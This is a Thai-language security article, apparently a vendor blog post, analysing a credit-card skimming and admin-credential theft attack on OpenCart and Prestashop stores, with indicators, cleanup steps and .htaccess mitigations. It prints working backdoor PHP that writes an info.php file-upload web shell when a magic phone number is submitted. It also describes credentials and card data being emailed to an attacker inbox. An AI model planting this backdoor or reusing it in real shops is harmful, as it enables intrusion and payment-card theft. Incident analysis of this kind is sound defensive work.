Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

OpenCart และ Prestashop เป็นโซลูชันฟรีและโอเพนซอร์สสำหรับจัดการดำเนินการอีคอมเมิร์ซ ไม่ว่าคุณจะเป็นสตาร์ทอัพหรือแบรนด์ที่มีชื่อเสียง กับ 13,000+ โมดูล OpenCart มีสิ่งต่างๆ สำหรับทุกคน นอกจากนี้ OpenCart พยายามเพิ่มประสบการณ์ลูกค้าอย่างต่อเนื่อง และแม้แต่ร่วมมือในโครงการทดลอง (pilot project) กับ Google อย่างไรก็ตาม ความนิยมก็ดึงดูดความสนใจที่ไม่พึงประสงค์จากแฮกเกอร์ หลายร้าน OpenCart ประสบปัญหา admin/common/login.php hacked นำไปสู่ OpenCart credit card hack เนื่องจากจุดมุ่งหมายหลักของโจมตีคือการได้ประโยชน์ทางการเงินจากการโจมตีร้าน OpenCart นักวิจัยที่ Astra ได้ค้นพบการโจมตีขโมยบัตรเครดิตบนร้าน OpenCart บทความนี้จะอธิบายวิธีการวิเคราะห์การโจมตีนี้ทีละขั้นตอน

Credit Card Hack: เพิ่มวิธีการชำระเงินปลอมใหม่

การโจมตีเหล่านี้มักไม่ถูกตรวจจับนานๆ เจ้าของเว็บไซต์มักรู้จักการโจมตีดังกล่าว רקเมื่อลูกค้าร้องเรียน ในสถานการณ์นี้ ลูกค้าร้องเรียนว่าบัตรเครดิตถูกบุก ซึ่งใช้ได้เฉพาะบนร้าน OpenCart เพียงแห่งเดียว การวิจัยเพิ่มเติมยังเปิดเผยการมีอยู่ของ phishing forms บนเว็บไซต์ นอกจากนี้ admin password hack ก็ถูกตรวจพบ ในกรณีเฉพาะนี้ นักวิจัยที่ Astra ระบุพบ phishing form ขโมยบัตรเครดิตที่ติดเชื้อ มันเป็นฟอร์มชำระเงินที่ถูกต้องที่ถูกฉีดโค้ดอันตรายบนเว็บไซต์

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

นี่คือภาพของ phishing form การขโมยบัตรเครดิต อย่างไรก็ตาม ฟอร์มลับลวงนี้ส่งข้อมูลประจำตัวการธนาคารของผู้ใช้ไปยังโดเมนที่โจมตีควบคุม นอกจากนี้ โจมตีได้ปิดใช้งาน payment gateways เริ่มต้นอย่าง PayPal ดังนั้น ความคล้ายคลึงกันบางประการในร้าน OpenCart ที่ติดเชื้อทั้งหมดคือ:

  • มีไฟล์ที่ไม่รู้จักมาก่อนปรากฏขึ้น
  • พฤติกรรมล็อกอินที่ผิดปกติ
  • ผู้ดูแลฐานข้อมูลใหม่ ที่แอดมินเว็บไซต์ไม่มีข้อมูล
  • ผู้ใช้ร้องเรียนเกี่ยวกับธุรกรรมการเงินที่เป็นการฉ้อโกง
  • เครื่องมือวิเคราะห์แพ็กเก็ตแสดง traffic ขาออกไปยังโดเมนไม่รู้จัก
  • มีวิธีการชำระเงินใหม่เพิ่มขึ้น ซึ่งไม่เคยมีมาก่อน

OpenCart Credit Card Hack: ตัวอย่าง

การโจมตีนี้สามารถทำให้เจ้าของร้าน OpenCart & Prestashop ล้มเหลว บ่อยครั้ง ผู้ใช้ที่ได้รับผลกระทบสามารถพบได้ร้องเรียนเกี่ยวกับ credit card hack บนฟอรั่มชุมชน นอกจากนี้ เธรดเหล่านี้มักมีผู้ใช้หลายคนที่ได้รับผลกระทบจากการโจมตีเดียวกัน!

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

การเข้าถึง: การแฮกรหัสผ่านผู้ดูแล (Admin Password Hack)

เพื่อปลิดประตูหลัง โจมตีต้องได้สิทธิ์ผู้ดูแลก่อน ในการทำเช่นนั้น โจมตีใช้ประโยชน์จากช่องโหว่ภายในร้าน หลังจากนั้น โจมตีใช้ฟังก์ชันอันตรายอย่าง eval(base64_decode) เพื่อรันโค้ดอันตรายบนเซิร์ฟเวอร์ บางช่องโหว่ OpenCart ทั่วไปที่อาจนำไปสู่การแฮกคือ:

OpenCart SQL Injection

OpenCart ก่อนเวอร์ชัน 2.3.0.0 เปราะบางต่อ SQLi แม้จะต้องการสิทธิ์ผู้ดูแลเพื่อใช้ประโยชน์ แต่ CVE-2009-1027 ทำให้ OpenCart เปราะบางต่อ SQLi นอกจากนี้ โมดูลที่มีบั๊ก (buggy modules) อาจเป็นสาเหตุของ SQLi

OpenCart Remote Code Execution

CVE-2010-0956 ทำให้ OpenCart เปราะบางต่อ remote code execution ช่องโหว่พบใน index.php อาจนำไปสู่การบุกเซิร์ฟเวอร์ นอกจากนี้ ฟังก์ชัน json_decode ของ OpenCart อาจนำไปสู่ RCE

OpenCart Weak Credentials

รหัสผ่านอ่อนแอและทั่วไปอาจนำไปสู่การถูกบุก การโจมตี brute force เรียบง่ายจะเปิดเผยเซิร์ฟเวอร์

OpenCart XSS

โจมตีอาจหลอกล่อผู้ดูแลโดยใช้ XSS CVE-2015-4671 ทำให้ index.php เปราะบางต่อ XSS พารามิเตอร์ zone_id ที่เปราะบางอาจนำไปสู่การแฮก

OpenCart Zero Day Exploits

เป็นไปได้มากที่โจมตีอาจค้นพบช่องโหว่ใหม่ ด้วยช่องโหว่นั้น โจมตีอาจบุกร้าน OpenCart โอกาสนี้น้อยแต่เป็นไปได้

ติดเชื้อทุกอย่าง: Credit card hack

เมื่อโจมตีบุกเข้าไปในระบบ พวกเขาพยายามบุกทุกชั้นของเว็บไซต์ ในกรณีเฉพาะนี้ นักวิจัยจาก Astra พบว่า รหัสผ่านลูกค้าและผู้ดูแลทั้งหมดถูกบุก นอกจากนี้ โจมตีมีการเข้าถึงฐานข้อมูล ประตูหลังที่โจมตีฉีดเข้าไปอาจบุกความสมบูรณ์ของฐานข้อมูล ดังนั้น การเข้าถึงฐานข้อมูลอาจถูกใช้ขโมยข้อมูลละเอียดอ่อนเช่น รหัสผ่านผู้ใช้ ชื่อ ที่อยู่ คำสั่งซื้อ ฯลฯ

นอกจากนี้ นักวิจัยที่ Astra ค้นพบว่ามีสองวิธีการชำระเงินที่ถูกบุก ได้แก่:

  • Authorize.net AIM.
  • pp_pro.

วิธีการชำระเงินทั้งสองช่วยดำเนินการ OpenCart, Prestashop & credit card hack ทั้งสองวิธีถูกฉีดโค้ดอันตราย สนิปเพทโค้ดแสดงด้านล่าง

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

ที่นี่ โจมตีใช้ไลบรารี Curl ของ PHP เพื่อสร้าง HTTP requests จากนั้น อีเมลถูกสร้างโดยใช้ Smail MTA Smail เป็นตัวส่งเมลที่เบาและพกพาได้ อีเมลนี้มีข้อมูลละเอียดอ่อนเกี่ยวกับ:

  • Order ID.
  • Payment Firstname.
  • Payment Lastname.
  • Address.
  • Payment city.
  • วันหมดอายุและเดือนของบัตรเครดิต
  • CVV number.
  • Credit Card Number.

ข้อมูลทั้งหมดนี้ถูกรวมกันและส่งไปยังที่อยู่อีเมล Yopmail Yopmail เป็นบริการอีเมลไม่ระบุตัวตน ดังนั้นจึงยากที่จะติดตามโจมตี อย่างไรก็ตาม เนื่องจากมันสาธารณะ กล่องจดหมายเข้า (inbox) อาจเข้าถึงได้โดยใครก็ได้ เพื่อหลีกเลี่ยงสิ่งนี้ โจมตีใช้ aliases (นามแฝง) นามแฝงเหล่านี้เป็นคุณสมบัติความปลอดภของ Yopmail เอง ดังนั้นจึงเป็นไปได้ยากมากที่จะหา inbox ต้นฉบับของโจมตี

Authorize.net Hack

Authorize.net เป็นโซลูชันการชำระเงินที่ทำงานบนร้าน OpenCart โจมตีมีแนวโน้มสูงที่จะมุ่งเป้าวิธีการชำระเงินนี้เพื่อขโมยข้อมูลบัตรเครดิต ดังนั้น หากวิธีนี้เปิดใช้งานอย่างกะทันหัน ร้านของคุณน่าจะเป็นเป้าหมายของ OpenCart credit card hack ภาพด้านล่างแสดงว่าวิธีการชำระเงินตอนนี้ดูเหมือนเปิดใช้งานแล้ว ซึ่งทำโดยโจมตี

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

อย่างไรก็ตาม หากคุณเปิดใช้งาน authorize.net ไว้แล้ว จึงเป็นไปได้ที่โจมตีอาจปิดใช้งานพวกมันเพื่อติดตั้ง custom phishing extensions ของพวกเขา ดังนั้น ข้อความอย่าง “merchant ID disabled” อาจปรากฏบนเว็บไซต์ นอกจากนี้ วิธีการชำระเงินอาจหายไปจากหน้า extensions ทุกสัญญาณเหล่านี้บ่งชี้ถึงความพยายามขโมยข้อมูลบัตรเครดิต ดังนั้น ควบแจ้งเตือนลูกค้าเกี่ยวกับบัตรเครดิตที่ถูกขโมย หากคุณดำเนินการภายใน EU หรือประมวลผลข้อมูลของลูกค้า EU GDPR ทำให้บังคับต้องเปิดเผยข้อมูลนี้

การรักษาความต่อเนื่อง: admin/common/login.php Hacked

เมื่อโจมตีได้สิทธิ์ผู้ดูแลแล้ว ขั้นตอนต่อไปคือแก้ไขไฟล์ core การแก้ไขไฟล์ core ช่วยให้โจมตีรักษาการเข้าถึงเว็บไซต์อย่างต่อเนื่อง เพื่อรักษาการเข้าถึงอย่างต่อเนื่อง โจมตียังฉีดหน้าล็อกอิน/ผู้ดูแล โค้ดสนิปเพทของ admin/common/login.php hacked แสดงด้านล่าง

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

เห็นได้ชัดจากโค้ดอันตรายว่าโจมตีใช้ Smail เพื่อส่งอีเมล Smail อนุญาตให้ผู้ใช้ทำภารกิจทั้งหมดผ่านบรรทัดคำสั่ง ทำให้มันเป็นตัวเลือกแรกของโจมตี หลังจากนั้น อีเมลถูกสร้างขึ้นโดยใช้ข้อมูลประจำตัวล็อกอิน อีเมลนี้ที่มี username และ password ถูกส่งไปยัง inbox ของโจมตี ที่นี่ โจมตีได้ระบุ admin@wsxdn.com เป็น inbox ของพวกเขา

นอกจากนี้ โค้ดนี้รันทุกครั้งที่ผู้ดูแลล็อกอิน ดังนั้น โจมตีสามารถดูผ่านอีเมลของพวกเขาเพื่อทราบข้อมูลล็อกอินล่าสุด โค้ดอันตรายนี้อนุญาตให้โจมตีรักษาการเข้าถึงอย่างต่อเนื่องไปยังเว็บไซต์ นอกจากนี้ ประตูหลังอย่าง info.php ก็ช่วยให้โจมตีรักษาความต่อเนื่องได้ Info.php จะถูกอภิปรายภายหลังในบทความนี้

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

หลบหลีกการตรวจจับ: บินต่ำด้วยการสมัครฟรี (Free Signups)

ในกรณีเฉพาะนี้ เว็บไซต์อนุญาตการสมัครฟรี ดังนั้น โจมตีแก้ไขโค้ดให้ผู้ใช้ทั่วไปได้รับ reverse shell โค้ดอันตรายมีลักษณะดังด้านล่าง

protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }

โค้ดนี้ตรวจสอบหมายเลขโทรศัพท์เฉพาะ เมื่อป้อนแล้ว จะอนุญาตให้อัปโหลดไฟล์ นักวิจัยที่ Astra เปิดเผยกระบวนการทีละขั้นตอนดังด้านล่าง:

  • Step 1: โจมตีใช้การสมัครฟรีสร้างผู้ใช้ใหม่หลายคน บัญชีหลายบัญชีหมายถึง ความเป็นไปได้ของการตรวจจับน้อยที่สุด
  • Step 2: จากนั้น โจมตีป้อนหมายเลขโทรศัพท์เฉพาะในฟิลด์นำเข้า โจมตี obfuscate หมายเลขโทรศัพท์จริงโดยเข้ารหัสในรูปแบบ md5 สตริงที่เข้ารหัสคือ 66b6d63b9634e1159e53e29858de2c2d หมายเลขโทรศัพท์นี้ทำหน้าที่เป็น master key เพื่ออัปโหลดประตูหลัง
  • Step 3: ทันทีที่เพิ่มหมายเลขโทรศัพท์ ไฟล์ชื่อ info.php จะถูกสร้างขึ้น ดังนั้น URL สุดท้ายจะมีลักษณะอย่าง example.com/info.php
  • Step 4: เมื่อไฟล์ info.php ถูกเข้าถึงโดยโจมตี มันให้พวกเขาความสามารถในการอัปโหลดไฟล์
  • Step 5: ตัวเลือกอัปโหลดนี้อนุญาตให้โจมตีอัปโหลดไฟล์ PHP ที่ติดเชื้อ ไฟล์เหล่านี้เปิดการเชื่อมต่อ reverse TCP, ICMP ฯลฯ ไปยังโจมตี เมื่อไฟล์ถูกอัปโหลดใน root directory ผลลัพธ์อาจเป็นอันตรายกว่านี้!

นอกจากนี้ โจมตียังซ่อนประตูหลังในส่วน images ด้วย เนื่องจากมีความเป็นไปได้น้อยมากที่จะพบไฟล์ใน Images Folder จึงให้ที่ซ่อนที่ดีแก่โจมตี โจมตีกำลังมองหาการติดเชื้อซ้ำจาก images folder ในกรณีของการทำความสะอาด!

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

การทำความสะอาดหลังการโจมตี

ขั้นตอนหลักหลังการโจมตีคือการทำความสะอาดเต็มรูปแบบ ลบไฟล์ที่ติดเชื้อและกู้คืนจากการสำรองข้อมูล หากไม่มีการสำรองข้อมูล ให้ติดตั้งใหม่ (fresh installation) โดยเฉพาะไฟล์การชำระเงินต้องกู้คืน ให้ระวังไฟล์ต่อไปนี้:

  • /admin/controller/extension/payment.php.
  • /admin/controller/common/login.php.
  • /catalog/controller/payment/authorizenet_aim.php.

ไฟล์เหล่านี้ถูกฉีดโค้ดอันตรายจาก OpenCart & Prestashop credit card hack กู้คืนไฟล์เหล่านี้ทันที นอกจากนี้ ให้ค้นหาไฟล์ที่โจมตีแก้ไข สามารถทำได้โดยรันคำสั่ง SSH ต่อไปนี้:

$ find ./ -type f -mtime -15

ดู timestamps และลบไฟล์ที่โจมตีแก้ไข เครื่องมืออย่าง PhpMyAdmin ก็ช่วยได้ในการทำความสะอาดสถานการณ์นี้

การรั่วไหลข้อมูลประจำตัวผู้ดูแล OpenCart & Prestashop: ข้อมูลบัตรเครดิตรั่วไหลผ่านอีเมล

ภาพตัวอย่างของ PhpMyAdmin ถูกใช้เพื่อตรวจจับโดเมนอันตราย

การลดทอนจากการโจมตี (Mitigation)

ปกป้องโฟลเดอร์ Admin

เปลี่ยนชื่อโฟลเดอร์ admin เนื่องจากทำให้โจมตียากที่จะหา นอกจากนี้ ใช้ .htaccess เพื่อปฏิเสธ IP ทั้งหมดเข้าถึงโฟลเดอร์ล็อกอิน ยกเว้น IP ของผู้ดูแล

ปกป้อง Catalogue

.htaccess สามารถใช้ปกป้อง catalog และไฟล์ที่ละเอียดอ่อนอย่าง .txt, .twg ฯลฯ File match สามารถทำภารกิจนี้ได้ ดังนั้น เพียงเพิ่มบรรทัดต่อไปไปในไฟล์ .htaccess ตามความต้องการของคุณ

<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>

จำกัดสิทธิ์โฟลเดอร์ (Restrict Folder Permission)

ให้แน่ใจว่ามีเฉพาะผู้ดูแลเท่านั้นที่เข้าถึงไฟล์และซับโฟลเดอร์ OpenCart ได้ ดังนั้น เพื่อทำเช่นนี้ ให้เพิ่มโค้ดต่อไปไปในไฟล์ .htaccess

<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>

จำกัดสิทธิ์ไฟล์ (Restrict File Permission)

ปกป้องไฟล์ที่ละเอียดอ่อนโดยตั้งค่าสิทธิ์ไฟล์สำหรับพวกเขาเป็น 644 หรือ 444 เนื่องจากสิ่งนี้ป้องกันไม่ให้ผู้อื่นเขียนได้ ไฟล์ที่ละเอียดอ่อนบางส่วนคือ:

  • config.php
  • index.php
  • admin/config.php
  • admin/index.php
  • system/startup.php

Astra Firewall

Open Cart & Prestashop credit card hack สามารถทำลายชื่อเสียงร้านค้าได้อย่างรุนแรง ผู้ใช้อาจรู้สึกไม่ปลอดภในอนาคตขณะชำระเงินออนไลน์ให้ร้าน ดังนั้น ตัวเลือกที่ดีที่สุดคือป้องกันการโจมตีแบบนี้ในอนาคตอันใกล้ ดังนั้น สิ่งนี้สามารถทำได้ด้วยไฟร์วอลล์ ไฟร์วอลล์อย่างที่ Astra ติดตาม traffic ทั้งหมดสำหรับ bad requests ไฟร์วอลล์ Astra รับรองว่าเฉพาะ safe requests เท่านั้นที่ถึงเซิร์ฟเวอร์ นอกจากนี้ Astra ยังแจ้งเตือนเกี่ยวกับการล็อกอินใหม่และการแก้ไขไฟล์ ด้วย Astra รักษาความปลอดภร้าน OpenCart & PrestaShop ของคุณไม่ให้ admin/common/login.php ถูกแฮก